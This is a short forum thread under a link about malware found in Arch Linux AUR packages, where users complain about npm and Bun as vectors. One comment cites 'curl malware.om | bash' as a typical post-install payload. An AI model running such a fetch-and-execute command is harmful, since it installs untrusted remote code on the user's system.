kboy101222 comments on Arch Linux AUR Malware Campaign Hits Multiple User-Contributed Packages

Arch Linux AUR Malware Campaign Hits Multiple User-Contributed Packages (linuxiac.com)

submitted 3 months ago by cm0002@lemy.lol to c/linux@programming.dev

71 comments fedilink hide all child comments

you are viewing a single comment's thread
view the rest of the comments

[–] kboy101222@sh.itjust.works 51 points 3 months ago (2 children)

God, even the Arch malware uses npm as a vector. And thus, my hatred of npm deepens even further

permalink

fedilink

source

hideshow 2 child comments

[–] ugjka@lemmy.ugjka.net 10 points 3 months ago (1 child)

Tbf, it is run in package post install section so it could be anything even the typical "curl malware.om | bash". There is a new wave of attacks now pulling things in with Bun which i guess is similar thing to NPM

permalink

fedilink

source

parent

hideshow 1 child comment

[–] kboy101222@sh.itjust.works 14 points 3 months ago

I'm just a web guy whose tired of installing 10 xetabytes of 2 line libraries every time I wanna check out anything web related

permalink

fedilink

source

parent